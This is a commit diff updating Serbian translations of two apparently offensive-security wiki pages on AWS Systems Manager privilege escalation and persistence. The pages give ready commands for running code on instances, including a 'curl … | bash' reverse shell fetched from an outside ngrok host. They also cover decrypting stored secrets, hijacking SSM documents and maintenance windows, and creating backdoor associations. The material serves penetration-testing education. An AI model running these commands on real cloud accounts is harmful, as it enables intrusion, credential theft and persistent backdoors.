Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

This commit is contained in:
Translator
2026-04-21 08:24:39 +00:00
parent c2737e4ba5
commit fc86842842
2 changed files with 125 additions and 26 deletions

View File

@@ -4,7 +4,7 @@
## SSM
Za više informacija pogledajte:
Za više informacija pogledaj:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
@@ -12,7 +12,7 @@ Za više informacija pogledajte:
### Using ssm:CreateAssociation for persistence
Napadač sa dozvolom **`ssm:CreateAssociation`** može kreirati State Manager Association koja automatski izvršava komande na EC2 instancama kojima upravlja SSM. Ove associations mogu se konfigurisati da se pokreću u fiksnim intervalima, što ih čini pogodnim za backdoor-like persistence bez interaktivnih sesija.
Napadač sa dozvolom **`ssm:CreateAssociation`** može da kreira State Manager Association kako bi automatski izvršavao komande na EC2 instancama kojima upravlja SSM. Ove association mogu da se konfigurišu da se pokreću u fiksnom intervalu, što ih čini pogodnim za persistence nalik backdoor-u bez interaktivnih sesija.
```bash
aws ssm create-association \
--name SSM-Document-Name \
@@ -22,6 +22,56 @@ aws ssm create-association \
--association-name association-name
```
> [!NOTE]
> Ovaj metod perzistencije radi sve dok je EC2 instanca upravljana od strane Systems Manager, SSM agent radi, i napadač ima dozvolu za kreiranje associations. Ne zahteva interaktivne sesije niti eksplicitne `ssm:SendCommand` dozvole. **Važno:** Parametar `--schedule-expression` (npr. `rate(30 minutes)`) mora poštovati minimalni interval AWS-a od 30 minuta. Za neposredno ili jednokratno izvršenje, potpuno izostavite `--schedule-expression` — association će se izvršiti jednom nakon kreiranja.
> Ovaj method persistence radi sve dok je EC2 instance managed by Systems Manager, SSM agent radi, i attacker ima permission da create associations. Ne zahteva interactive sessions ili explicit ssm:SendCommand permissions. **Important:** Parametar `--schedule-expression` (npr. `rate(30 minutes)`) mora da poštuje AWS minimum interval od 30 minutes. Za immediate ili one-time execution, izostavite `--schedule-expression` potpuno — association će se izvršiti jednom nakon creation.
### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
Attacker sa permissions **`ssm:UpdateDocument`** i **`ssm:UpdateDocumentDefaultVersion`** može da eskalira privileges modifikovanjem existing documents. Ovo takođe omogućava persistence unutar tog document. Praktično, attacker bi takođe morao da ima **`ssm:ListDocuments`** da bi dobio nazive za custom documents i ako attacker želi da obfuscate svoj payload unutar existing document **`ssm:GetDocument`** bi takođe bio necessary.
```bash
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
```
Ispod je primer dokumenta koji može da se koristi za overwrite postojećeg document. Treba da obezbedite da se tip vašeg document poklapa sa tipom target document kako biste izbegli issues sa innvocation. Dokument ispod će, na primer, the **`ssm:SendCommand`** i **`ssm:CreateAssociation`** examples.
```yaml
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"
```
### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
Napadač sa permisijama **`ssm:RegisterTaskWithMaintenanceWindow`** i **`ssm:RegisterTargetWithMaintenanceWindow`** može da eskalira privilegije tako što prvo registruje novi target sa postojećim maintenance window, a zatim ažurira registraciju novog task-a. Time se postiže execution na postojećim target-ima, ali napadač može da kompromituje compute sa različitim role-ovima registracijom novih target-a. Ovo takođe omogućava persistence jer se maintenance window task-ovi izvršavaju u unapred definisanom intervalu tokom kreiranja window-a. U praksi, napadaču bi takođe bila potrebna **`ssm:DescribeMaintenanceWindows`** da bi dobio maintenance window ID-jeve.
``` bash
aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## SSM
Za više informacija o SSM pogledajte:
Za više informacija o SSM proverite:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,7 +12,7 @@ Za više informacija o SSM pogledajte:
### `ssm:SendCommand`
Napadač sa dozvolom **`ssm:SendCommand`** može **izvršavati komande na instancama** koje pokreću Amazon SSM Agent i **kompromitovati IAM Role** koja se u njima izvršava.
Napadač sa dozvolom **`ssm:SendCommand`** može **izvršavati komande na instance-ima** koji pokreću Amazon SSM Agent i **kompromitovati IAM Role** koja se izvršava unutar njih.
```bash
# Check for configured instances
aws ssm describe-instance-information
@@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
```
Ako koristite ovu tehniku da biste izvršili escalate privileges unutar već kompromitovanog EC2 instance, možete jednostavno capture rev shell lokalno pomoću:
U slučaju da koristiš ovu tehniku za eskalaciju privilegija unutar već kompromitovane EC2 instance, možeš jednostavno lokalno uhvatiti rev shell sa:
```bash
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
@@ -31,11 +31,11 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
```
**Potencijalni uticaj:** Direktan privesc na EC2 IAM roles pridružene pokrenutim instancama sa SSM Agents.
**Potencijalni uticaj:** Direktan privesc do EC2 IAM role-ova prikačenih na pokrenute instance sa pokrenutim SSM Agent-ovima.
### `ssm:StartSession`
Napadač koji ima dozvolu **`ssm:StartSession`** može **pokrenuti SSH-sličnu sesiju na instancama** koje koriste Amazon SSM Agent i **kompromitovati IAM Role** koja se u njima izvršava.
Napadač sa permisijom **`ssm:StartSession`** može **pokrenuti SSH-like sesiju na instance** koje pokreću Amazon SSM Agent i **kompromitovati IAM Role** koja se unutra izvršava.
```bash
# Check for configured instances
aws ssm describe-instance-information
@@ -45,25 +45,25 @@ aws ssm describe-sessions --state Active
aws ssm start-session --target "$INSTANCE_ID"
```
> [!CAUTION]
> Da biste započeli sesiju, potrebno je da imate instaliran **SessionManagerPlugin**: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
**Potencijalni uticaj:** Direktan privesc na EC2 IAM role pridružene pokrenutim instancama sa SSM Agentima.
> Da biste pokrenuli session, potrebno je da je instaliran **SessionManagerPlugin**: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
#### Privesc na ECS
**Potential Impact:** Direktan privesc do EC2 IAM roles prikačenih na pokrenute instance sa SSM Agents koji rade.
Kada **ECS tasks** rade sa **`ExecuteCommand` enabled** korisnici sa dovoljnim privilegijama mogu koristiti `ecs execute-command` da **izvrše komandu** unutar kontejnera.\
Prema [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) ovo se radi kreiranjem sigurnog kanala između uređaja koji koristite da pokrenete “_exec_“ komandu i ciljanog kontejnera pomoću SSM Session Manager. (SSM Session Manager Plugin neophodan da ovo radi)\
Stoga, korisnici sa `ssm:StartSession` biće u stanju da **dobiju shell unutar ECS tasks** sa tom opcijom omogućenim jednostavnim pokretanjem:
#### Privesc to ECS
Kada **ECS tasks** rade sa omogućenim **`ExecuteCommand`**, korisnici sa dovoljno permissions mogu da koriste `ecs execute-command` da **izvrše command** unutar container-a.\
Prema [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) ovo se radi tako što se kreira secure channel između uređaja koji koristite da inicirate “_exec_“ command i target container-a uz SSM Session Manager. (SSM Session Manager Plugin neophodan za ovo da radi)\
Zato će korisnici sa `ssm:StartSession` moći da **dobiju shell unutar ECS tasks** sa tom opcijom omogućenoj, samo pokretanjem:
```bash
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
```
![](<../../../images/image (185).png>)
**Potencijalni uticaj:** Direct privesc na `ECS`IAM roles pridružene pokrenutim tasks sa `ExecuteCommand` omogućenim.
**Potential Impact:** Direct privesc to the `ECS`IAM roles attached to running tasks with `ExecuteCommand` enabled.
### `ssm:ResumeSession`
Napadač sa dozvolom **`ssm:ResumeSession`** može re-**start a SSH like session in instances** koje pokreću Amazon SSM Agent kada je SSM session state **disconnected** i tako može **compromise the IAM Role** koja se izvršava unutar nje.
Napadač sa dozvolom **`ssm:ResumeSession`** može da ponovo **pokrene SSH-like sesiju na instance** koje pokreću Amazon SSM Agent sa **prekinutim** SSM session state-om i da **kompromituje IAM Role** koja se unutar nje izvršava.
```bash
# Check for configured instances
aws ssm describe-sessions
@@ -72,11 +72,11 @@ aws ssm describe-sessions
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
```
**Potencijalni uticaj:** Direktan privesc do EC2 IAM roles pridruženih pokrenutim instancama sa aktivnim SSM Agents i prekinutim sesijama.
**Potencijalni uticaj:** Direktan privesc ka EC2 IAM rolama zakačenim za pokrenute instance sa pokrenutim SSM Agentima i isključenim sesijama.
### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
Napadač sa pomenutim permisijama moći će da izlista **SSM parameters** i **pročita ih u čistom tekstu**. U tim parametrima često možete **naći osetljive informacije** kao što su SSH keys ili API keys.
Napadač sa pomenutim permisijama moći će da izlista **SSM parameter** i da ih **čita u clear-text-u**. U ovim parametrima često možete **pronaći osetljive informacije** kao što su SSH ključevi ili API ključevi.
```bash
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
@@ -87,15 +87,15 @@ aws ssm get-parameter --name id_rsa --with-decryption
### `ssm:ListCommands`
Napadač sa ovom dozvolom može da nabroji sve poslate **commands** i, po mogućnosti, pronađe **osetljive informacije** u njima.
Napadač sa ovom dozvolom može da izlista sve **komande** koje su poslate i, nadamo se, pronađe **osetljive informacije** u njima.
```
aws ssm list-commands
```
**Potencijalni uticaj:** Pronalazak osetljivih informacija unutar komandnih linija.
**Potencijalni uticaj:** Pronaći osetljive informacije unutar command lines.
### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)
Napadač sa ovim dozvolama može da navede sve poslate **komande** i da **pročita generisani izlaz**, nadajući se da će pronaći **osetljive informacije** u njima.
Napadač sa ovim dozvolama može da izlista sve **commands** koje su poslate i da **pročita output** koji je generisan, nadajući se da će pronaći **osetljive informacije** u njemu.
```bash
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
@@ -103,11 +103,11 @@ aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
```
**Potencijalni uticaj:** Pronalaženje osetljivih informacija u izlazu komandnih linija.
**Potencijalni uticaj:** Pronađi osetljive informacije unutar izlaza komandnih linija.
### Using ssm:CreateAssociation
Napadač sa dozvolom **`ssm:CreateAssociation`** može kreirati State Manager Association da automatski izvršava komande na EC2 instancama kojima upravlja SSM. Ove asociacije se mogu konfigurisati da se pokreću u fiksnim intervalima, što ih čini pogodnim za backdoor-like persistence bez interaktivnih sesija.
Napadač sa dozvolom **`ssm:CreateAssociation`** može da kreira State Manager Association kako bi automatski izvršavao komande na EC2 instancama kojima upravlja SSM. Ove association mogu da se konfigurišu da se pokreću u fiksnom intervalu, što ih čini pogodnim za backdoor-like persistence bez interaktivnih sesija.
```bash
aws ssm create-association \
--name SSM-Document-Name \
@@ -117,11 +117,60 @@ aws ssm create-association \
--association-name association-name
```
> [!NOTE]
> Ovaj metod persistencije funkcioniše sve dok je EC2 instanca pod upravom Systems Manager, SSM agent je pokrenut, i napadač ima dozvolu za kreiranje associations. Ne zahteva interaktivne sesije niti eksplicitne ssm:SendCommand dozvole. **Važno:** parametar `--schedule-expression` (npr. `rate(30 minutes)`) mora poštovati AWS-ov minimalni interval od 30 minuta. Za trenutnu ili jednokratnu izvršavanje, potpuno izostavite `--schedule-expression` — association će se izvršiti jednom nakon kreiranja.
> Ovaj metod persistence radi sve dok je EC2 instance upravljana od strane Systems Manager-a, SSM agent radi, i napadač ima dozvolu da kreira associations. Ne zahteva interaktivne sesije niti eksplicitne ssm:SendCommand dozvole. **Važno:** parametar `--schedule-expression` (npr. `rate(30 minutes)`) mora poštovati AWS-ov minimalni interval od 30 minuta. Za trenutno ili jednokratno izvršavanje, potpuno izostavite `--schedule-expression` — association će se izvršiti jednom nakon kreiranja.
### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
Napadač sa permissions **`ssm:UpdateDocument`** i **`ssm:UpdateDocumentDefaultVersion`** može da eskalira privileges modifikovanjem postojećih documents. Ovo takođe omogućava persistence unutar tog document-a. U praksi bi napadaču takođe bio potreban **`ssm:ListDocuments`** da dobije nazive za custom documents, a ako napadač želi da obfuskira svoj payload unutar postojećeg dokumenta, **`ssm:GetDocument`** bi takođe bio neophodan.
```bash
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
```
Ispod je primer dokumenta koji se može koristiti za prepisivanje postojećeg dokumenta. Želećeš da osiguraš da se tvoj tip dokumenta poklapa sa tipom ciljnih dokumenata kako bi se izbegli problemi sa invocation. Dokument ispod, na primer, pokriva **`ssm:SendCommand`** i **`ssm:CreateAssociation`** primere.
```yaml
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"
```
### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
Napadač sa permissions **`ssm:RegisterTaskWithMaintenanceWindow`** i **`ssm:RegisterTargetWithMaintenanceWindow`** može da eskalira privileges tako što prvo registruje novi target sa postojećim maintenance window, a zatim ažurira registruje novi task. Time se postiže execution nad postojećim targetima, ali može omogućiti napadaču da kompromituje compute sa različitim roles tako što registruje nove targete. Ovo takođe omogućava persistence jer se maintenance windows tasks izvršavaju na unapred definisanom intervalu tokom kreiranja window. U praksi, napadaču bi takođe bio potreban **`ssm:DescribeMaintenanceWindows`** da bi dobio maintenance window IDs.
``` bash
aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100
```
### Codebuild
Možete takođe koristiti SSM da uđete u codebuild projekat koji se gradi:
Takođe možeš koristiti SSM da uđeš u codebuild projekat koji se gradi:
{{#ref}}
../aws-codebuild-privesc/README.md